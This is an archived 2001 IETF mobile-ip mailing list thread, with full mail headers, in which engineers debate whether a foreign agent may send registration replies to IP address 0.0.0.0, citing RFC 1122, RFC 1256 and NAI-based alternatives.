	for <mobileip-archive@lists.ietf.org>; Fri, 30 Nov 2001 16:39:39 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA20600;
	Fri, 30 Nov 2001 13:38:34 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA26037;
	Fri, 30 Nov 2001 13:38:05 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAULbE1V022264
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:37:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAULbDYa022263
	for mobile-ip-dist; Fri, 30 Nov 2001 13:37:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAULbA1V022256
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:37:10 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18101
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:37:09 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA17767
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 14:37:34 -0700 (MST)
Received: from DOCOMOALPER (dhcp98.docomo-usa.com [172.21.96.98])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAULb7525088
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:37:07 -0800 (PST)
Message-ID: <201a01c179e7$05d6e420$626015ac@DOCOMOALPER>
From: "Alper Yegin" <alper@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <Pine.HPX.4.10.10111291654190.22787-100000@hpindsra>
Subject: Re: [mobile-ip] 0.0.0.0 src address
Date: Fri, 30 Nov 2001 13:36:08 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Siva,

The foreign agent should use the link-layer address of the incoming (from
MN) packet
to send back the responds to the MN. So, FA can send a packet with 0.0.0.0
IP destination
address and MN's link-layer address as the destination MAC address.

For that, foreign agent should note the source link-layer address of the
incoming packet.

The same can also happen with simple rotuer discovery (sending router
solicitation, and
receiving router advertisement). Please see rfc1256.

alper






----- Original Message -----
From: "Sivasundar Ramamurthy" <sramam@cup.hp.com>
To: "Mobile IP Working Group" <mobile-ip@sunroof.eng.sun.com>
Sent: Thursday, November 29, 2001 5:15 PM
Subject: [mobile-ip] 0.0.0.0 src address


> Hello,
>
> This is regarding draft rfc2002 bis-8 wrt using 0.0.0.0 as the IP
> source of registration requests. I have only recently joined this
> email group so please bear with me if this had been discussed earlier.
>
> Section 3.6.1.1 states that the Mobile Node must use 0.0.0.0 as the IP
> source address of the registration request if it does not have a home
> address. Section 3.7.2.3 states that the FA must use the
> IP source of the request as IP destination address when forwarding
> replies.
>
> Thus there might be cases where the FA must forward replies to the
> address 0.0.0.0. This task appears "impossible" since rfc1122 defines
> 0.0.0.0 as something like "this machine on this network", like
> loopback. So a packet with destination address 0.0.0.0 might never go
> out of the FA.
>
> Am I in the right here? Can someone please clarify the usage/handling
> of 0.0.0.0 as the source address of registration requests?
>
>
> Thanks in advance!
>
> Siva
>
>
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 17:03:05 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10225
	for <mobileip-archive@lists.ietf.org>; Fri, 30 Nov 2001 17:03:05 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA00423;
	Fri, 30 Nov 2001 14:02:02 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00959;
	Fri, 30 Nov 2001 14:00:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAULxA1V022471
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:59:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAULxAJY022470
	for mobile-ip-dist; Fri, 30 Nov 2001 13:59:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAULx61V022463
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:59:06 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18261
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:59:06 -0800 (PST)
Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA08688
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:59:05 -0800 (PST)
Received: from hpindsra.cup.hp.com (hpindsra.cup.hp.com [15.13.104.190])
	by palrel11.hp.com (Postfix) with ESMTP id B36FE1F6EE
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 13:59:04 -0800 (PST)
Received: from hpindsra (hpindsra [15.13.104.190]) by hpindsra.cup.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.8.6 SMKit7.02) id OAA24515 for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 14:05:49 -0800 (PST)
Date: Fri, 30 Nov 2001 14:05:47 -0800 (PST)
From: Sivasundar Ramamurthy <sramam@cup.hp.com>
X-Sender: sramam@hpindsra
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] 0.0.0.0 src address
In-Reply-To: <201a01c179e7$05d6e420$626015ac@DOCOMOALPER>
Message-ID: <Pine.HPX.4.10.10111301347200.24201-100000@hpindsra>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi Alper,

thanks for responding to my email.

On Fri, 30 Nov 2001, Alper Yegin wrote:

> The foreign agent should use the link-layer address of the incoming (from
> MN) packet
> to send back the responds to the MN. So, FA can send a packet with 0.0.0.0
> IP destination
> address and MN's link-layer address as the destination MAC address.
> 
> For that, foreign agent should note the source link-layer address of the
> incoming packet.
> 
> The same can also happen with simple rotuer discovery (sending router
> solicitation, and
> receiving router advertisement). Please see rfc1256.

I agree with you regarding the usage of the link-layer address, which
is standard means to forward replies to the MN. However, from the
dicussions I have had with my "Transport" collegues regarding the
usage of 0.0.0.0 as a dest address of a IP packet, it seems that:

  The destination of 0.0.0.0 means "this machine on this network". So
  by definition we CANNOT send a destination address of 0.0.0.0 onto
  the network. This address is also used as a special address for DHCP
  as a _source_ address. However it is not used as a destination.

I was given RFC 1122 as a reference regarding the definition of
the destination address 0.0.0.0. 

And for the same reason, an arp entry cannot be made at the FA to bind
the MN's link-layer address to the IP address 0.0.0.0, which is
required to forward the reply.....


Am I still missing something here? :-)


thanks!


Siva


> 
> 
> 
> 
> 
> ----- Original Message -----
> From: "Sivasundar Ramamurthy" <sramam@cup.hp.com>
> To: "Mobile IP Working Group" <mobile-ip@sunroof.eng.sun.com>
> Sent: Thursday, November 29, 2001 5:15 PM
> Subject: [mobile-ip] 0.0.0.0 src address
> 
> 
> > Hello,
> >
> > This is regarding draft rfc2002 bis-8 wrt using 0.0.0.0 as the IP
> > source of registration requests. I have only recently joined this
> > email group so please bear with me if this had been discussed earlier.
> >
> > Section 3.6.1.1 states that the Mobile Node must use 0.0.0.0 as the IP
> > source address of the registration request if it does not have a home
> > address. Section 3.7.2.3 states that the FA must use the
> > IP source of the request as IP destination address when forwarding
> > replies.
> >
> > Thus there might be cases where the FA must forward replies to the
> > address 0.0.0.0. This task appears "impossible" since rfc1122 defines
> > 0.0.0.0 as something like "this machine on this network", like
> > loopback. So a packet with destination address 0.0.0.0 might never go
> > out of the FA.
> >
> > Am I in the right here? Can someone please clarify the usage/handling
> > of 0.0.0.0 as the source address of registration requests?
> >
> >
> > Thanks in advance!
> >
> > Siva
> >
> >
> >
> >
> 
> 





From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 17:27:20 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11641
	for <mobileip-archive@lists.ietf.org>; Fri, 30 Nov 2001 17:27:19 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA06515;
	Fri, 30 Nov 2001 15:26:08 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA29178;
	Fri, 30 Nov 2001 14:26:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUMOw1V022631
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 14:24:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAUMOvvL022630
	for mobile-ip-dist; Fri, 30 Nov 2001 14:24:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from jurassic.eng.sun.com (jurassic [129.146.87.31] (may be forged))
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUMOs1V022623
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 14:24:54 -0800 (PST)
Received: from shubho (shubho.Eng.Sun.COM [129.146.85.207])
	by jurassic.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with SMTP id fAUMOsEu492187;
	Fri, 30 Nov 2001 14:24:54 -0800 (PST)
Message-Id: <200111302224.fAUMOsEu492187@jurassic.eng.sun.com>
Date: Fri, 30 Nov 2001 14:26:41 -0800 (PST)
From: Samita Chakrabarti <Samita.Chakrabarti@eng.sun.com>
Subject: Re: [mobile-ip] 0.0.0.0 src address
To: mobile-ip@sunroof.eng.sun.com
Cc: sramam@cup.hp.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: MhgwzfPYHD3J0vTrOrmKAQ==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.9 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>



> 
> Section 3.6.1.1 states that the Mobile Node must use 0.0.0.0 as the IP
> source address of the registration request if it does not have a home
> address. Section 3.7.2.3 states that the FA must use the
> IP source of the request as IP destination address when forwarding
> replies. 
> 

Yes, this is a concern. Usually the MNs are supposed to have their assigned
home-addr or a co-located careof addr.  In the case where MN may not
have been assigned home-addr, it could use NAI (rfc2794).

> Thus there might be cases where the FA must forward replies to the
> address 0.0.0.0. This task appears "impossible" since rfc1122 defines
> 0.0.0.0 as something like "this machine on this network", like
> loopback. So a packet with destination address 0.0.0.0 might never go
> out of the FA.
> 

Right, if you send  IP packet with dst=0.0.0.0 out in the network, it  does
not comply with rfc1122. But in some cases, it's possible to have no
home-addr assigned and the solution should be to use NAI. Please check out
rfc2794 and rfc2290.

-Samita



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 21:36:25 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22573
	for <mobileip-archive@lists.ietf.org>; Fri, 30 Nov 2001 21:36:25 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA23309;
	Fri, 30 Nov 2001 18:35:27 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA14332;
	Fri, 30 Nov 2001 18:34:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB12Ve1V022979
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 18:31:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB12VeLO022978
	for mobile-ip-dist; Fri, 30 Nov 2001 18:31:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB12Va1V022971
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 18:31:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA28420
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 18:31:37 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA06010
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 19:32:03 -0700 (MST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id SAA25646
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 18:31:48 -0800 (PST)
Received: (from marc@localhost)
	by leo.mentat.com (8.9.1b+Sun/8.9.1) id SAA20942
	for mobile-ip@sunroof.eng.sun.com; Fri, 30 Nov 2001 18:31:45 -0800 (PST)
Date: Fri, 30 Nov 2001 18:31:45 -0800 (PST)
From: Marc Hasson <marc@mentat.com>
Message-Id: <200112010231.SAA20942@leo.mentat.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] 0.0.0.0 src address
X-Sun-Charset: US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Alper,

 > The foreign agent should use the link-layer address of the incoming (from
 > MN) packet
 > to send back the responds to the MN. So, FA can send a packet with 0.0.0.0
 > IP destination
 > address and MN's link-layer address as the destination MAC address.
 > 
 > For that, foreign agent should note the source link-layer address of the
 > incoming packet.
 > 
 > The same can also happen with simple rotuer discovery (sending router
 > solicitation, and
 > receiving router advertisement). Please see rfc1256.

I don't see where RFC 1256 supports the concept of *sending* to a
destination address of 0.0.0.0 so let me know if I've missed
some text.   It clearly allows a router solicitation with a
*source* address of 0.0.0.0 from a host that hasn't yet determined its
own address.  But the router advertisement response in such a case
doesn't go to 0.0.0.0, which would be a violation of the RFC as I read
it, but to a configured address.  Here's the text excerpt from the RFC
in section 4.3 that clearly covers the source 0.0.0.0 address case in
the second sentence:

   In addition to the periodic, unsolicited advertisements, a router
   sends advertisements in response to valid solicitations received on
   any of its advertising interfaces.  A router may choose to unicast
   the response directly to the soliciting host's address (if it is not
   zero), or multicast it to the interface's configured
   AdvertisementAddress; in the latter case, the interface's interval
   timer is reset to a new random value, as with unsolicited
   advertisements.  ...

The rationale for a host sending with a source address of 0.0.0.0
appears to be implied in section 5.3 as a mechanism to allow overlap of
the host's address and router discovery processes to occur in
parallel.  Such a host presumably provokes an earlier multicast router
advertisement by sending the solicitation with its 0.0.0.0 source
address rather than waiting for the next periodic advertisement or
until the host has an address.
                        
                         
   -- Marc --